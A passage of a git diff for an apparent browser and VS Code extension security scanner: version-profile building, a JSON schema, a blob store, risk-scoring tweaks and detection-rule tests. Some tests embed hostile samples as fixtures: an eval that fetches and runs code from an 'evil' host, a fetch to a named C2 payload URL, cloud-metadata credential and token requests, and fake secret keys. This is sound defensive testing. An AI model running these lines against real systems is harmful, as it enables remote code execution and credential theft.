{f["path"]: f for f in curr.get("files", [])} + prev_paths = set(prev_by_path) + curr_paths = set(curr_by_path) + + modified: List[Dict[str, Any]] = [] + for path in sorted(prev_paths & curr_paths): + from_sha = prev_by_path[path]["sha256"] + to_sha = curr_by_path[path]["sha256"] + if from_sha == to_sha: + continue + modified.append(_build_modified_entry( + path, from_sha, to_sha, curr_file_bytes, blob_loader, + max_diff_lines, max_diff_bytes, + )) + + return { + "added": sorted(curr_paths - prev_paths), + "removed": sorted(prev_paths - curr_paths), + "modified": modified, + } + + +def compute_diff( + prev_snapshot: Snapshot, + curr_snapshot: Snapshot, + *, + curr_file_bytes: Optional[Dict[str, bytes]] = None, + blob_loader: Optional[BlobLoader] = None, + max_diff_lines: int = MAX_DIFF_LINES, + max_diff_bytes: int = MAX_DIFF_BYTES, +) -> Dict[str, Any]: + """Diff two snapshots: permission deltas, manifest changes, file changes. + + Inline file diffs need both sides' bytes: the current version comes from + ``curr_file_bytes`` and the previous version from ``blob_loader(sha256)``. + When either is unavailable for a file, that file degrades to pointer-only + (``blob_ref`` set, ``diff=null``). Minified files are pointer-only by design. + """ + return { + "previous_version": prev_snapshot.get("version"), + "permissions": _string_set_delta(prev_snapshot.get("permissions"), curr_snapshot.get("permissions")), + "optional_permissions": _string_set_delta( + prev_snapshot.get("optional_permissions"), curr_snapshot.get("optional_permissions") + ), + "host_permissions": _string_set_delta( + prev_snapshot.get("host_permissions"), curr_snapshot.get("host_permissions") + ), + "manifest_changes": _manifest_changes(prev_snapshot, curr_snapshot), + "files": _file_diff( + prev_snapshot, curr_snapshot, curr_file_bytes, blob_loader, + max_diff_lines, max_diff_bytes, + ), + } + + +# --------------------------------------------------------------------------- # +# profile assembly +# --------------------------------------------------------------------------- # +def build_profile( + curr_snapshot: Snapshot, + prev_profile: Optional[Profile] = None, + *, + ext_id: Optional[str] = None, + browser: str = "chrome", + ext_name: Optional[str] = None, + publisher: Optional[str] = None, + curr_file_bytes: Optional[Dict[str, bytes]] = None, + blob_loader: Optional[BlobLoader] = None, +) -> Profile: + """Create a new profile or append ``curr_snapshot`` to an existing one. + + On the first version (``prev_profile is None``) the snapshot's + ``diff_from_previous`` is ``null`` and ``ext_id`` must be supplied. On later + versions the diff against the latest stored snapshot is attached and + ``ext_id``/identity carry over from ``prev_profile``. + """ + if prev_profile is None: + if not ext_id: + raise ValueError("ext_id is required when creating a new profile") + first_snapshot = {**curr_snapshot, "diff_from_previous": None} + return { + "schema_version": SCHEMA_VERSION, + "ext_id": ext_id, + "browser": browser, + "ext_name": ext_name, + "publisher": publisher, + "first_seen": first_snapshot["captured_at"], + "last_updated": first_snapshot["captured_at"], + "latest_version": first_snapshot["version"], + "snapshots": [first_snapshot], + } + + prev_snapshots = prev_profile.get("snapshots") or [] + if not prev_snapshots: + raise ValueError("prev_profile has no snapshots to diff against") + prev_snapshot = prev_snapshots[-1] + + diff = compute_diff( + prev_snapshot, curr_snapshot, + curr_file_bytes=curr_file_bytes, blob_loader=blob_loader, + ) + new_snapshot = {**curr_snapshot, "diff_from_previous": diff} + + profile = dict(prev_profile) + profile["snapshots"] = list(prev_snapshots) + [new_snapshot] + profile["last_updated"] = new_snapshot["captured_at"] + profile["latest_version"] = new_snapshot["version"] + if ext_name is not None: + profile["ext_name"] = ext_name + if publisher is not None: + profile["publisher"] = publisher + return profile + + +# --------------------------------------------------------------------------- # +# validation +# --------------------------------------------------------------------------- # +def _load_schema() -> Dict[str, Any]: + global _SCHEMA_CACHE + if _SCHEMA_CACHE is None: + schema_path = Path(__file__).with_name("extension-profile.schema.json") + _SCHEMA_CACHE = json.loads(schema_path.read_text(encoding="utf-8")) + return _SCHEMA_CACHE + + +def validate_profile(profile: Dict[str, Any]) -> List[str]: + """Validate a profile against the schema. Returns a list of error strings; + an empty list means the profile is valid.""" + import jsonschema + + schema = _load_schema() + validator = jsonschema.Draft202012Validator(schema) + errors = sorted(validator.iter_errors(profile), key=lambda e: list(e.path)) + return [f"{'/'.join(str(p) for p in e.path) or ''}: {e.message}" for e in errors] diff --git a/backend/profile/extension-profile.schema.json b/backend/profile/extension-profile.schema.json new file mode 100644 index 00000000..6a0ea4ef --- /dev/null +++ b/backend/profile/extension-profile.schema.json @@ -0,0 +1,131 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$id": "https://suppressor/extension-profile.schema.json", + "title": "Extension Profile", + "description": "Objective, version-by-version change history of a browser extension. Not an analysis-result store: only manifest facts, file hashes/sizes, and a thin verdict breadcrumb are kept.", + "type": "object", + "required": ["schema_version", "ext_id", "browser", "latest_version", "snapshots"], + "additionalProperties": true, + "properties": { + "schema_version": {"type": "string"}, + "ext_id": {"type": "string"}, + "browser": {"type": "string"}, + "ext_name": {"type": ["string", "null"]}, + "publisher": {"type": ["string", "null"]}, + "first_seen": {"type": "string"}, + "last_updated": {"type": "string"}, + "latest_version": {"type": "string"}, + "snapshots": { + "type": "array", + "minItems": 1, + "items": {"$ref": "#/$defs/snapshot"} + } + }, + "$defs": { + "snapshot": { + "type": "object", + "required": ["version", "captured_at", "content_hash", "manifest_version", "permissions", "host_permissions", "files"], + "additionalProperties": true, + "properties": { + "version": {"type": "string"}, + "captured_at": {"type": "string"}, + "content_hash": {"type": "string"}, + "manifest_version": {"type": ["integer", "null"]}, + "permissions": {"type": "array", "items": {"type": "string"}}, + "optional_permissions": {"type": "array", "items": {"type": "string"}}, + "host_permissions": {"type": "array", "items": {"type": "string"}}, + "content_scripts": {}, + "background": {}, + "content_security_policy": {}, + "web_accessible_resources": {}, + "files": {"type": "array", "items": {"$ref": "#/$defs/file"}}, + "verdict": {"$ref": "#/$defs/verdict"}, + "diff_from_previous": {"oneOf": [{"type": "null"}, {"$ref": "#/$defs/diff"}]} + } + }, + "file": { + "type": "object", + "required": ["path", "sha256", "size"], + "additionalProperties": true, + "properties": { + "path": {"type": "string"}, + "sha256": {"type": "string"}, + "size": {"type": "integer", "minimum": 0} + } + }, + "verdict": { + "type": "object", + "description": "Breadcrumb only: how this version was graded at capture time. Full result lives in the analysis-result store.", + "additionalProperties": true, + "properties": { + "risk_grade": {"type": ["string", "null"]}, + "result_id": {"type": ["string", "null"]}, + "analyzed_at": {"type": ["string", "null"]} + } + }, + "diff": { + "type": "object", + "required": ["files"], + "additionalProperties": true, + "properties": { + "previous_version": {"type": ["string", "null"]}, + "permissions": {"$ref": "#/$defs/set_delta"}, + "optional_permissions": {"$ref": "#/$defs/set_delta"}, + "host_permissions": {"$ref": "#/$defs/set_delta"}, + "manifest_changes": {"type": "array", "items": {"$ref": "#/$defs/manifest_change"}}, + "files": {"$ref": "#/$defs/file_diff"} + } + }, + "set_delta": { + "type": "object", + "required": ["added", "removed"], + "additionalProperties": false, + "properties": { + "added": {"type": "array", "items": {"type": "string"}}, + "removed": {"type": "array", "items": {"type": "string"}} + } + }, + "manifest_change": { + "type": "object", + "required": ["field", "from", "to"], + "additionalProperties": false, + "properties": { + "field": {"type": "string"}, + "from": {}, + "to": {} + } + }, + "file_diff": { + "type": "object", + "required": ["added", "removed", "modified"], + "additionalProperties": false, + "properties": { + "added": {"type": "array", "items": {"type": "string"}}, + "removed": {"type": "array", "items": {"type": "string"}}, + "modified": {"type": "array", "items": {"$ref": "#/$defs/modified_file"}} + } + }, + "modified_file": { + "type": "object", + "required": ["path", "from_sha256", "to_sha256", "blob_ref", "is_minified", "diff_format", "diff", "diff_truncated"], + "additionalProperties": false, + "properties": { + "path": {"type": "string"}, + "from_sha256": {"type": "string"}, + "to_sha256": {"type": "string"}, + "blob_ref": { + "type": "object", + "additionalProperties": false, + "properties": { + "from": {"type": ["string", "null"]}, + "to": {"type": ["string", "null"]} + } + }, + "is_minified": {"type": "boolean"}, + "diff_format": {"type": "string"}, + "diff": {"type": ["string", "null"]}, + "diff_truncated": {"type": "boolean"} + } + } + } +} diff --git a/backend/profile/local_store.py b/backend/profile/local_store.py new file mode 100644 index 00000000..e935507b --- /dev/null +++ b/backend/profile/local_store.py @@ -0,0 +1,78 @@ +"""Local filesystem store for Extension Profiles. + +A stand-in for the eventual Supabase + Nexus backend so the profile step can run +end-to-end without external services. Layout under ``PROFILE_STORE_DIR``:: + + profiles/.json one accumulating profile document per extension + blobs/ raw file bytes, content-addressed (dedup) + +The blob directory lets the *next* version produce inline diffs: each scan stores +the current version's file bytes here, and ``make_blob_loader`` reads previous +versions back by sha256. Swap this module out for Nexus/Supabase later without +touching ``builder``. +""" + +from __future__ import annotations + +import hashlib +import json +import os +from pathlib import Path +from typing import Callable, Dict, Optional + + +def _store_dir() -> Path: + return Path(os.getenv("PROFILE_STORE_DIR", "./profiles")) + + +def _profiles_dir() -> Path: + return _store_dir() / "profiles" + + +def _blobs_dir() -> Path: + return _store_dir() / "blobs" + + +def _safe_name(ext_id: str) -> str: + """Filesystem-safe filename for an ext_id (which may contain spaces/unicode).""" + cleaned = "".join(c if (c.isalnum() or c in "-_.") else "_" for c in ext_id.strip()) + return cleaned or "_unknown" + + +def load_profile(ext_id: str) -> Optional[dict]: + path = _profiles_dir() / f"{_safe_name(ext_id)}.json" + if path.exists(): + return json.loads(path.read_text(encoding="utf-8")) + return None + + +def save_profile(ext_id: str, profile: dict) -> Path: + directory = _profiles_dir() + directory.mkdir(parents=True, exist_ok=True) + path = directory / f"{_safe_name(ext_id)}.json" + path.write_text(json.dumps(profile, ensure_ascii=False, indent=2), encoding="utf-8") + return path + + +def store_blobs(file_bytes: Dict[str, bytes]) -> int: + """Content-address every file's bytes into the blob dir. Returns count newly written.""" + directory = _blobs_dir() + directory.mkdir(parents=True, exist_ok=True) + written = 0 + for data in file_bytes.values(): + sha = hashlib.sha256(data).hexdigest() + blob_path = directory / sha + if not blob_path.exists(): + blob_path.write_bytes(data) + written += 1 + return written + + +def make_blob_loader() -> Callable[[str], Optional[bytes]]: + directory = _blobs_dir() + + def _loader(sha256: str) -> Optional[bytes]: + blob_path = directory / sha256 + return blob_path.read_bytes() if blob_path.exists() else None + + return _loader diff --git a/backend/risk_scoring.py b/backend/risk_scoring.py index d2de662a..a5855be0 100644 --- a/backend/risk_scoring.py +++ b/backend/risk_scoring.py @@ -348,26 +348,22 @@ def calculate_weighted_final_risk( if risk_level in {"HIGH", "CRITICAL"}: blockers.append(f"final weighted risk level is {risk_level}") - # decision: only LOW is auto-approved; every non-safe outcome goes to review. - if risk_level == "LOW": - recommended = "approve" - else: - recommended = "review" + # Suppressor only reports scan risk. ExtS3 applies operational approval policy. + recommended = "review" if dynamic["status"] in {"error", "skipped"} and ( static["risk_level"] in {"MEDIUM", "HIGH", "CRITICAL"} or obf["risk_level"] in {"MEDIUM", "HIGH", "CRITICAL"} ): - if recommended == "approve": - recommended = "review" + recommended = "review" - if error_or_skipped >= 2 and recommended == "approve": + if error_or_skipped >= 2: recommended = "review" - if recommended == "review": - decision_reason = "Risk signals or analysis uncertainty require human review before approval." + if risk_level == "LOW": + decision_reason = "No strong dynamic or corroborated static/obfuscation risk indicators were detected; ExtS3 policy determines final approval." else: - decision_reason = "No strong dynamic or corroborated static/obfuscation risk indicators were detected." + decision_reason = "Risk signals or analysis uncertainty require human review before approval." return { "risk_level": risk_level, diff --git a/backend/tests/__init__.py b/backend/tests/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/backend/tests/profile/__init__.py b/backend/tests/profile/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/backend/tests/profile/conftest.py b/backend/tests/profile/conftest.py new file mode 100644 index 00000000..0748b573 --- /dev/null +++ b/backend/tests/profile/conftest.py @@ -0,0 +1,7 @@ +import os +import sys + +# backend/ 를 import 루트로 추가 (profile.* import 가 stdlib profile 보다 우선) +BACKEND_DIR = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +if BACKEND_DIR not in sys.path: + sys.path.insert(0, BACKEND_DIR) diff --git a/backend/tests/profile/test_builder.py b/backend/tests/profile/test_builder.py new file mode 100644 index 00000000..7c8dfe94 --- /dev/null +++ b/backend/tests/profile/test_builder.py @@ -0,0 +1,286 @@ +"""Extension Profile JSON 생성기 단위 테스트.""" + +import io +import json +import zipfile + +import pytest + +from profile.builder import ( + build_profile, + build_snapshot, + compute_diff, + content_hash, + is_minified, + make_unified_diff, + normalize_manifest_state, + validate_profile, +) + + +# --------------------------------------------------------------------------- # +# fixtures: build chrome extension zips on the fly +# --------------------------------------------------------------------------- # +def _make_zip(tmp_path, name, manifest, files, top_dir=None): + """Write a .zip extension. ``files`` maps path -> str|bytes content.""" + path = tmp_path / name + buf = io.BytesIO() + prefix = f"{top_dir}/" if top_dir else "" + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr(prefix + "manifest.json", json.dumps(manifest)) + for fp, content in files.items(): + if isinstance(content, str): + content = content.encode("utf-8") + zf.writestr(prefix + fp, content) + path.write_bytes(buf.getvalue()) + return path + + +MV3_V1 = { + "manifest_version": 3, + "name": "Demo", + "version": "1.0", + "permissions": ["storage"], + "host_permissions": ["https://example.com/*"], + "background": {"service_worker": "old.js"}, +} + +MV3_V2 = { + "manifest_version": 3, + "name": "Demo", + "version": "1.1", + "permissions": ["storage", "tabs"], + "host_permissions": ["https://example.com/*"], + "background": {"service_worker": "new.js"}, +} + + +# --------------------------------------------------------------------------- # +# content_hash +# --------------------------------------------------------------------------- # +def test_content_hash_is_order_independent(): + a = [{"path": "a.js", "sha256": "x"}, {"path": "b.js", "sha256": "y"}] + b = [{"path": "b.js", "sha256": "y"}, {"path": "a.js", "sha256": "x"}] + assert content_hash(a) == content_hash(b) + assert content_hash(a).startswith("sha256:") + + +def test_content_hash_changes_with_content(): + a = [{"path": "a.js", "sha256": "x"}] + b = [{"path": "a.js", "sha256": "z"}] + assert content_hash(a) != content_hash(b) + + +# --------------------------------------------------------------------------- # +# is_minified +# --------------------------------------------------------------------------- # +def test_minified_long_single_line(): + assert is_minified(("var x=" + "a" * 6000 + ";").encode()) is True + + +def test_minified_normal_code_false(): + src = "\n".join(f"const v{i} = {i};" for i in range(50)) + assert is_minified(src.encode()) is False + + +def test_minified_undecodable_bytes_true(): + assert is_minified(b"\xff\xfe\x00\x01\x02binary") is True + + +def test_minified_none_false(): + assert is_minified(None) is False + + +# --------------------------------------------------------------------------- # +# unified diff +# --------------------------------------------------------------------------- # +def test_unified_diff_basic(): + diff, truncated = make_unified_diff("a\nb\nc", "a\nB\nc", "f.js") + assert "-b" in diff and "+B" in diff + assert truncated is False + + +def test_unified_diff_truncates(): + old = "\n".join(f"old-line-{i}" for i in range(5000)) + new = "\n".join(f"new-line-{i}" for i in range(5000)) + diff, truncated = make_unified_diff(old, new, "f.js", max_lines=50) + assert truncated is True + assert diff.count("\n") <= 50 + + +# --------------------------------------------------------------------------- # +# manifest normalization (MV2 host extraction) +# --------------------------------------------------------------------------- # +def test_mv2_hosts_split_out_of_permissions(): + state = normalize_manifest_state({ + "manifest_version": 2, + "permissions": ["tabs", "https://*.example.com/*", ""], + }) + assert state["permissions"] == ["tabs"] + assert "https://*.example.com/*" in state["host_permissions"] + assert "" in state["host_permissions"] + + +def test_mv3_permissions_unchanged(): + state = normalize_manifest_state(MV3_V1) + assert state["permissions"] == ["storage"] + assert state["host_permissions"] == ["https://example.com/*"] + + +# --------------------------------------------------------------------------- # +# build_snapshot +# --------------------------------------------------------------------------- # +def test_build_snapshot_basic(tmp_path): + z = _make_zip(tmp_path, "v1.zip", MV3_V1, {"old.js": "console.log(1)\n"}) + snap, file_bytes = build_snapshot(z, verdict={"risk_grade": "LOW", "result_id": "r1"}) + + assert snap["version"] == "1.0" + assert snap["manifest_version"] == 3 + assert snap["permissions"] == ["storage"] + assert snap["verdict"] == {"risk_grade": "LOW", "result_id": "r1", "analyzed_at": None} + paths = {f["path"] for f in snap["files"]} + assert paths == {"manifest.json", "old.js"} + assert snap["content_hash"].startswith("sha256:") + assert "old.js" in file_bytes + + +def test_build_snapshot_reroots_top_dir(tmp_path): + z = _make_zip(tmp_path, "v1.zip", MV3_V1, {"old.js": "x\n"}, top_dir="demo-1.0") + snap, _ = build_snapshot(z) + paths = {f["path"] for f in snap["files"]} + assert paths == {"manifest.json", "old.js"} # top dir stripped + + +def test_build_snapshot_no_manifest_raises(tmp_path): + path = tmp_path / "bad.zip" + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr("readme.txt", "hi") + path.write_bytes(buf.getvalue()) + with pytest.raises(ValueError): + build_snapshot(path) + + +# --------------------------------------------------------------------------- # +# compute_diff +# --------------------------------------------------------------------------- # +def test_compute_diff_permissions_and_manifest(tmp_path): + z1 = _make_zip(tmp_path, "v1.zip", MV3_V1, {"old.js": "a\n"}) + z2 = _make_zip(tmp_path, "v2.zip", MV3_V2, {"new.js": "b\n"}) + s1, _ = build_snapshot(z1) + s2, _ = build_snapshot(z2) + + diff = compute_diff(s1, s2) + assert diff["permissions"] == {"added": ["tabs"], "removed": []} + fields = {c["field"] for c in diff["manifest_changes"]} + assert "background.service_worker" in fields + sw = next(c for c in diff["manifest_changes"] if c["field"] == "background.service_worker") + assert sw["from"] == "old.js" and sw["to"] == "new.js" + + +def test_compute_diff_file_add_remove(tmp_path): + z1 = _make_zip(tmp_path, "v1.zip", MV3_V1, {"old.js": "a\n"}) + z2 = _make_zip(tmp_path, "v2.zip", MV3_V2, {"new.js": "b\n"}) + s1, _ = build_snapshot(z1) + s2, _ = build_snapshot(z2) + + files = compute_diff(s1, s2)["files"] + assert "new.js" in files["added"] + assert "old.js" in files["removed"] + + +def test_compute_diff_inline_modified_with_blob_loader(tmp_path): + m1 = dict(MV3_V1) + m2 = dict(MV3_V1) + m2["version"] = "1.1" + old_src = "line1\nline2\nline3\n" + new_src = "line1\nCHANGED\nline3\n" + z1 = _make_zip(tmp_path, "v1.zip", m1, {"app.js": old_src}) + z2 = _make_zip(tmp_path, "v2.zip", m2, {"app.js": new_src}) + + s1, bytes1 = build_snapshot(z1) + s2, bytes2 = build_snapshot(z2) + + # blob_loader resolves previous-version bytes by sha256 (stand-in for Nexus). + store = {f["sha256"]: bytes1[f["path"]] for f in s1["files"]} + diff = compute_diff(s2_prev := s1, s2, curr_file_bytes=bytes2, + blob_loader=lambda sha: store.get(sha)) + + mod = next(m for m in diff["files"]["modified"] if m["path"] == "app.js") + assert mod["is_minified"] is False + assert mod["diff"] is not None + assert "-line2" in mod["diff"] and "+CHANGED" in mod["diff"] + assert mod["blob_ref"]["from"].startswith("nexus://blobs/") + + +def test_compute_diff_modified_pointer_only_without_blob(tmp_path): + m1 = dict(MV3_V1) + m2 = dict(MV3_V1) + m2["version"] = "1.1" + z1 = _make_zip(tmp_path, "v1.zip", m1, {"app.js": "a\n"}) + z2 = _make_zip(tmp_path, "v2.zip", m2, {"app.js": "b\n"}) + s1, _ = build_snapshot(z1) + s2, b2 = build_snapshot(z2) + + diff = compute_diff(s1, s2, curr_file_bytes=b2) # no blob_loader -> no prev bytes + mod = next(m for m in diff["files"]["modified"] if m["path"] == "app.js") + assert mod["diff"] is None + assert mod["blob_ref"]["from"].startswith("nexus://blobs/") + + +def test_compute_diff_minified_modified_no_inline(tmp_path): + m1 = dict(MV3_V1) + m2 = dict(MV3_V1) + m2["version"] = "1.1" + old_min = "var a=" + "1" * 6000 + ";" + new_min = "var a=" + "2" * 6000 + ";" + z1 = _make_zip(tmp_path, "v1.zip", m1, {"min.js": old_min}) + z2 = _make_zip(tmp_path, "v2.zip", m2, {"min.js": new_min}) + s1, b1 = build_snapshot(z1) + s2, b2 = build_snapshot(z2) + + store = {f["sha256"]: b1[f["path"]] for f in s1["files"]} + diff = compute_diff(s1, s2, curr_file_bytes=b2, blob_loader=lambda sha: store.get(sha)) + mod = next(m for m in diff["files"]["modified"] if m["path"] == "min.js") + assert mod["is_minified"] is True + assert mod["diff"] is None + + +# --------------------------------------------------------------------------- # +# build_profile + validate_profile +# --------------------------------------------------------------------------- # +def test_build_profile_first_version_validates(tmp_path): + z = _make_zip(tmp_path, "v1.zip", MV3_V1, {"old.js": "a\n"}) + snap, _ = build_snapshot(z, verdict={"risk_grade": "LOW", "result_id": "r1"}) + profile = build_profile(snap, ext_id="abc123", ext_name="Demo") + + assert profile["latest_version"] == "1.0" + assert profile["snapshots"][0]["diff_from_previous"] is None + assert validate_profile(profile) == [] + + +def test_build_profile_second_version_attaches_diff(tmp_path): + z1 = _make_zip(tmp_path, "v1.zip", MV3_V1, {"old.js": "a\n"}) + z2 = _make_zip(tmp_path, "v2.zip", MV3_V2, {"new.js": "b\n"}) + s1, _ = build_snapshot(z1) + s2, b2 = build_snapshot(z2) + + p1 = build_profile(s1, ext_id="abc123") + p2 = build_profile(s2, p1, curr_file_bytes=b2) + + assert len(p2["snapshots"]) == 2 + assert p2["latest_version"] == "1.1" + last = p2["snapshots"][-1]["diff_from_previous"] + assert last["previous_version"] == "1.0" + assert last["permissions"]["added"] == ["tabs"] + assert validate_profile(p2) == [] + + +def test_build_profile_requires_ext_id_for_new(): + with pytest.raises(ValueError): + build_profile({"version": "1.0", "captured_at": "t", "content_hash": "h", "files": []}) + + +def test_validate_profile_reports_errors(): + errors = validate_profile({"schema_version": "1.0"}) # missing required fields + assert errors # non-empty -> invalid diff --git a/backend/tests/vscode_analysis/__init__.py b/backend/tests/vscode_analysis/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/backend/tests/vscode_analysis/conftest.py b/backend/tests/vscode_analysis/conftest.py new file mode 100644 index 00000000..df006356 --- /dev/null +++ b/backend/tests/vscode_analysis/conftest.py @@ -0,0 +1,7 @@ +import os +import sys + +# backend/ 를 import 루트로 추가 (scanners.*, vscode_analysis.* import shim과 일치) +BACKEND_DIR = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +if BACKEND_DIR not in sys.path: + sys.path.insert(0, BACKEND_DIR) diff --git a/backend/tests/vscode_analysis/test_code_scan.py b/backend/tests/vscode_analysis/test_code_scan.py new file mode 100644 index 00000000..1eae7584 --- /dev/null +++ b/backend/tests/vscode_analysis/test_code_scan.py @@ -0,0 +1,305 @@ +"""C-003,004,006,007,009,010,011 + X-001,002,003 positive/negative.""" + +from vscode_analysis.code_scan import scan_source_file + + +def _ids(findings): + return {f["rule_id"] for f in findings} + + +# --- C-003 --- +def test_c003_positive_eval(): + findings, _ = scan_source_file("a.js", "const x = eval('1+1');") + assert "C-003" in _ids(findings) + + +def test_c003_positive_vm_runinthiscontext(): + findings, _ = scan_source_file("a.js", "vm.runInThisContext(payload);") + assert "C-003" in _ids(findings) + + +def test_c003_negative_evaluate_word(): + findings, _ = scan_source_file("a.js", "function evaluate() { return doEval; }") + assert "C-003" not in _ids(findings) + + +# --- C-004 --- +def test_c004_positive_invisible_unicode(): + payload = "const p = '" + "​" * 6 + "';" + findings, _ = scan_source_file("a.js", payload) + assert "C-004" in _ids(findings) + + +def test_c004_negative_normal_text(): + findings, _ = scan_source_file("a.js", "const greeting = 'hello world';") + assert "C-004" not in _ids(findings) + + +def test_c004_negative_few_invisible(): + # 4자 (5자 미만) + findings, _ = scan_source_file("a.js", "x" + "​" * 4 + "y") + assert "C-004" not in _ids(findings) + + +# --- C-006 --- +def test_c006_positive_known_c2_ip(): + findings, _ = scan_source_file("a.js", "fetch('http://199.247.10.166/get_zombi_payload')") + assert "C-006" in _ids(findings) + + +def test_c006_negative_benign_ip(): + findings, _ = scan_source_file("a.js", "const local = '127.0.0.1';") + assert "C-006" not in _ids(findings) + + +# --- C-007 --- +def test_c007_positive_aws_imds(): + findings, _ = scan_source_file("a.js", "http.get('http://169.254.169.254/latest/meta-data/')") + assert "C-007" in _ids(findings) + + +def test_c007_negative(): + findings, _ = scan_source_file("a.js", "const url = 'https://example.com';") + assert "C-007" not in _ids(findings) + + +# --- C-009 --- +def test_c009_positive_github_search(): + findings, _ = scan_source_file("a.js", "axios.get('https://api.github.com/search/commits?q=firedalazer')") + assert "C-009" in _ids(findings) + + +def test_c009_negative_normal_github(): + findings, _ = scan_source_file("a.js", "fetch('https://api.github.com/repos/x/y')") + assert "C-009" not in _ids(findings) + + +# --- C-010 --- +def test_c010_positive_solana(): + findings, _ = scan_source_file("a.js", "const rpc = 'https://api.mainnet-beta.solana.com';") + assert "C-010" in _ids(findings) + + +def test_c010_negative(): + findings, _ = scan_source_file("a.js", "const rpc = 'https://my-node.example';") + assert "C-010" not in _ids(findings) + + +# --- C-011 --- +def test_c011_positive_native_node(): + findings, counts = scan_source_file("a.js", "const m = require('./build/Release/addon.node');") + assert "C-011" in _ids(findings) + assert counts["medium"] >= 1 + + +def test_c011_negative_normal_require(): + findings, _ = scan_source_file("a.js", "const fs = require('fs');") + assert "C-011" not in _ids(findings) + + +# --- X-001 --- +def test_x001_positive_pat_with_context(): + pat = "a" * 52 # 52자 base32 (a는 base32 alphabet) + content = f"// vsce publish token\nconst VSCE_PAT = '{pat}';" + findings, _ = scan_source_file("a.js", content) + assert "X-001" in _ids(findings) + + +def test_x001_negative_pat_without_context(): + pat = "a" * 52 + findings, _ = scan_source_file("a.js", f"const hash = '{pat}';") + assert "X-001" not in _ids(findings) + + +# --- X-002 --- +def test_x002_positive_openai_key(): + findings, _ = scan_source_file("a.js", "const k = 'sk-" + "A" * 45 + "';") + assert "X-002" in _ids(findings) + + +def test_x002_positive_aws_key(): + findings, _ = scan_source_file("a.js", "AKIA" + "ABCDEFGHIJ123456") + assert "X-002" in _ids(findings) + + +def test_x002_negative_masked_example(): + findings, _ = scan_source_file("a.js", "const EXAMPLE_KEY = 'sk-" + "A" * 45 + "'; // EXAMPLE") + assert "X-002" not in _ids(findings) + + +def test_x002_negative_placeholder(): + findings, _ = scan_source_file("a.js", "key = 'AKIAPLACEHOLDER12345' // PLACEHOLDER") + assert "X-002" not in _ids(findings) + + +# --- X-003 --- +def test_x003_positive_gcp_key(): + content = '{"type":"service_account","private_key":"-----BEGIN PRIVATE KEY-----\\nMII..."}' + findings, _ = scan_source_file("k.json", content) + assert "X-003" in _ids(findings) + + +def test_x003_negative(): + findings, _ = scan_source_file("k.json", '{"type":"service_account","client_email":"x@y.iam"}') + assert "X-003" not in _ids(findings) + + +# --- C-003 좁은 정상-맥락 예외 (번들러 보일러플레이트만 면제) --- +def test_c003_exempt_globalthis_polyfill(): + """new Function("return this") globalThis 폴리필은 면제.""" + findings, _ = scan_source_file("a.js", 'var g = (function(){try{return this||new Function("return this")()}catch(e){}})();') + assert "C-003" not in _ids(findings) + + +def test_c003_exempt_eval_require_shim(): + """eval("require('util').inspect") CommonJS shim은 면제.""" + findings, _ = scan_source_file("a.js", "const utilInspect = eval(\"require('util').inspect\");") + assert "C-003" not in _ids(findings) + + +def test_c003_exempt_eval_require_no_member(): + """eval("require('util')") 멤버 없는 require shim도 면제.""" + findings, _ = scan_source_file("a.js", "const u = eval(\"require('util')\");") + assert "C-003" not in _ids(findings) + + +def test_c003_fires_function_with_concat(): + """new Function("return "+x) 동적 연결은 Critical 발화 (면제 금지).""" + findings, _ = scan_source_file("a.js", 'const f = new Function("return " + x);') + assert "C-003" in _ids(findings) + + +def test_c003_fires_function_user_input(): + """new Function(userInput) 변수 인자는 Critical 발화.""" + findings, _ = scan_source_file("a.js", "const f = new Function(userInput);") + assert "C-003" in _ids(findings) + + +def test_c003_fires_eval_variable(): + """eval(decoded) 변수 인자는 Critical 발화.""" + findings, _ = scan_source_file("a.js", "eval(decoded);") + assert "C-003" in _ids(findings) + + +def test_c003_fires_eval_concat(): + """eval("a"+b) 연결 인자는 Critical 발화.""" + findings, _ = scan_source_file("a.js", 'eval("a" + b);') + assert "C-003" in _ids(findings) + + +def test_c003_fires_eval_arbitrary_literal(): + """eval("악성 리터럴")은 require shim이 아니므로 Critical 발화 (비자명 eval).""" + findings, _ = scan_source_file("a.js", "eval(\"fetch('http://evil/x').then(r=>r.text()).then(eval)\");") + assert "C-003" in _ids(findings) + + +def test_c003_fires_vm_runinthiscontext_alongside_exempt(): + """면제 폴리필이 있어도 같은 파일의 vm.runInThisContext는 Critical 발화.""" + content = 'new Function("return this")();\nvm.runInThisContext(payload);' + findings, _ = scan_source_file("a.js", content) + assert "C-003" in _ids(findings) + + +def test_c003_fires_dynamic_eval_alongside_exempt_shim(): + """require shim과 동적 eval이 섞이면 동적 eval로 발화 (좁은 예외 증명).""" + content = "const u = eval(\"require('util')\");\neval(decoded);" + findings, _ = scan_source_file("a.js", content) + assert "C-003" in _ids(findings) + + +# --- C-007 보안-인지 정제 (instance 텔레메트리 면제 / identity·token 발화) --- +def test_c007_exempt_azure_instance_metadata(): + """Azure IMDS instance/compute (VM 탐지 텔레메트리)는 면제.""" + content = ( + 'const opts={headers:{Metadata:"True"}};' + 'makeRequest("http://169.254.169.254/metadata/instance/compute?api-version=2017-12-01&format=json");' + ) + findings, _ = scan_source_file("a.js", content) + assert "C-007" not in _ids(findings) + + +def test_c007_fires_azure_identity_token(): + """169.254.169.254/metadata/identity/oauth2/token 자격증명 탈취는 Critical 발화.""" + content = 'fetch("http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com");' + findings, _ = scan_source_file("a.js", content) + assert "C-007" in _ids(findings) + + +def test_c007_fires_metadata_ip_standalone_exfil(): + """정상 instance 경로 맥락 없이 메타데이터 IP 단독 등장은 Critical 발화.""" + content = "fetch('http://169.254.169.254/latest/meta-data/').then(r=>send(r));" + findings, _ = scan_source_file("a.js", content) + assert "C-007" in _ids(findings) + + +def test_c007_fires_aws_iam_credentials(): + """AWS /iam/security-credentials 자격증명 경로는 Critical 발화 (면제 금지).""" + content = "http.get('http://169.254.169.254/latest/meta-data/iam/security-credentials/role');" + findings, _ = scan_source_file("a.js", content) + assert "C-007" in _ids(findings) + + +def test_c007_fires_gcp_token_metadata(): + """GCP 